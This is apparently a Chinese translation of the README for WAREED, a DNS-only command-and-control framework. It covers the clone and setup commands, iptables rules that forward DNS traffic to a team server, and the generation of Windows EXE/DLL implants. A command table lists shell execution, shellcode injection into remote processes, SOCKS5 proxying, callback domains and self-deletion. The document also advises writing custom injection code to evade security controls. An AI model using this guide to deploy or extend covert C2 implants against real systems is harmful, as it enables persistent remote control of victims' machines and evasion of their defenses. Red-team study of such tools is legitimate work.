
WAREED 是一个命令与控制(C2)框架,利用 DNS 协议在服务器与目标之间进行安全通信。它旨在最小化通信和限制数据交换,适用于作为第一阶段的 C2,在无法通过 HTTP/HTTPS 访问互联网但允许 DNS 的机器上持久化。
开发者: @Fsalabduljabbar

虽然许多命令与控制(C2)框架支持 DNS 作为传输协议,但它们主要针对 HTTP/HTTPS 设计。将这些框架转换为 DNS 通常会导致操作更慢、更不稳定。面对这些框架在 DNS 事务中不稳定的诸多挑战,我不得不创建一个专门针对 DNS 的解决方案。结果就是 Wareed——一个纯 DNS 的 C2 框架。这种专门的关注带来了更稳定、更高效的操作,使 Wareed 与传统上并非主要为 DNS 设计的 C2 框架相比更快、更可靠。这使得 Wareed 成为允许 DNS 流量但限制 HTTP/HTTPS 的环境的理想选择。
它使用三种编程语言开发:
名称解释:
Hams (همس) 在阿拉伯语中意为“低语”。
Wareed (وريد) 在阿拉伯语中意为“静脉”。
Ather (أثر) 在阿拉伯语中意为“踪迹”。
步骤 1:克隆 Wareed 仓库:
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git
步骤 2:运行安装脚本:
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup
如果编译过程成功完成,将在同一目录下生成两个可执行文件:
同时,它还会检查 Agent 的编译状态。如果成功,则确认 Agent 已准备好部署并可运行,这对 Wareed C2 的功能至关重要。
{
"magic_value": "cdn",
"domains": ["2.example.net"],
"listener_port": "111",
"sleep": 5,
"jitter": 50,
"lookup_delay": 5,
"default_dns_server": "1.1.1.1"
}
**magic_value:**长度必须等于 3。
DNS 设置:
要运行 Wareed,必须拥有一个有效的域名。获取域名后,需要配置两条 DNS 记录指向转发器:

转发器设置:
转发器将处理端口 53 上的传入 DNS 流量,并将其重定向到团队服务器。为此,请在转发器机器 (R1) 上执行以下 iptables 命令:
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
此命令将防火墙配置为接受端口 53 上的传入 UDP 数据包,该端口是 DNS 请求的标准端口。
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]
将 [TeamServer IP] 替换为你的团队服务器的实际 IP 地址,并将 [teamserver listener port] 替换为你的团队服务器正在监听的端口号。此命令将到达端口 53 的所有流量引导至指定的团队服务器 IP 地址和端口。

首次启动 Wareed 团队服务器时,你需要指定配置文件、客户端密码以及客户端将监听的端口。使用以下命令运行 Wareed 团队服务器:
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
要启动 Ather GUI 客户端,只需
./Ather
运行该命令后,将出现一个带登录页面的新窗口。

登录详情:在出现的登录页面中:
Wareed 主窗口:

要使用 Ather GUI 客户端生成新载荷,请按照以下步骤操作:
导航到载荷生成:
Payload > Generate > Windows。选择此选项将打开一个专为载荷生成而设计的新窗口。选择载荷类型: Wareed 允许生成两种类型的载荷: - EXE:一种可执行文件格式,便于部署。 - DLL:一种可以多种方式使用的动态链接库。 -
生成新载荷后,会自动向团队服务器注册一个新的访客会话。此注册过程确保只有该特定会话才能连接团队服务器。它使用唯一标识符和“magic value”来验证和授权会话。该机制确保新生成的载荷与团队服务器之间的通信安全且可控。

在 Windows 机器上执行载荷后,它将开始生成 DNS 查询以向团队服务器注册。此注册过程在几秒钟内完成,通常涉及生成 3 到 5 条 DNS 查询。

要与会话交互,只需右键单击所需会话,然后从上下文菜单中选择“Interact”。此操作将打开一个带有终端界面的新选项卡。在此终端中,你可以执行命令

注意:
inject命令虽然直接,但常常被安全控制检测到。为提高隐蔽性,你应该实现自己的注入技术。修改Agent/Source/Core/Tasks/Modules/Injection.c中的注入代码。以下是一个用于自定义注入函数的基本模板:
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
// Add your injection technique here.
// You will receive the shellcode in [unsigned char *ShellCode] and shellcode size in [nt size]
// and the process ID in [int ProcessID].
}
要清理数据库,只需在终端中执行以下命令:
./Run clean
虽然我目前没有继续投入时间在 Wareed 项目上的计划,但这是一次令人难以置信的学习之旅,我非常享受其中。我很兴奋地宣布,我计划启动一个新的大型项目 THAWD BAS。更多信息,请访问 Thawd.io。
如果你有开发技能并有意为 Wareed 做出贡献,这里有几个机会:
使用 DNS 开发 Stager 载荷:由 @C5pider 开发的一个很棒的项目,它提供了一个 shellcode 模板,是一个很好的起点。查看 GitHub 上的 Stardust。
添加 COFF 加载器与集成:将 COFF (Common Object File Format) 加载器集成到 Wareed 框架中,可以通过动态加载和执行二进制模块来显著增强其能力,从而提高操作灵活性。对于希望实现此功能的开发者,Sector7 等资源提供了关于 COFF 加载器功能的宝贵见解,而 @C5pider 的开源项目 CoffeeLdr 提供了一个实用的实现示例。
如果没有以下几个杰出的开源项目的贡献,这项工作是不可能完成的:
DNSStager 作者 - @mohammadaskar2
Boomerang 作者 - @NinjaParanoid
| 命令 | 描述 | 用法 | 示例 |
|---|
| help | 显示指定命令的帮助信息 | [command] | help shell |
| sleep | 设置带有抖动的睡眠延迟 | [delay] [jitter] | sleep 10 50 |
| shell | 执行 cmd.exe 命令并获取输出 | [commands] | shell dir c:\windows\system32 (请不要这样做) |
| inject | 将 shellcode 注入远程进程 | [pid] [shellcode_path] | inject 1234 /path/to/shellcode.bin |
| proxystart | 启动 SOCKS5 代理 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystart example.com 443 1080 |
| proxystop | 停止 SOCKS5 代理 | [callback_host] [agent_connect_port] [proxy_listener_port] | proxystop example.com 443 1080 |
| adddomain | 添加新的回调域名 | [domain_name] | adddomain example.com |
| deldomain | 删除回调域名 | [domain_name] | deldomain example.com |
| listdomain | 列出所有活动的回调域名 | listdomain | |
| kill | 终止当前进程。 | [yes] | kill yes |
| wipe | 终止并删除当前进程。 | [yes] | wipe yes |
| selfdel | 从磁盘中删除当前进程。 | [yes] | selfdel yes |
| tasklist | 列出所有排队的任务 | tasklist | |
| taskdel | 按 ID 删除特定任务 | [task id] | taskdel 123 |
| tasksclean | 删除队列中的所有任务 | [yes] | tasksclean yes |
| clear | 清除终端屏幕 | clear |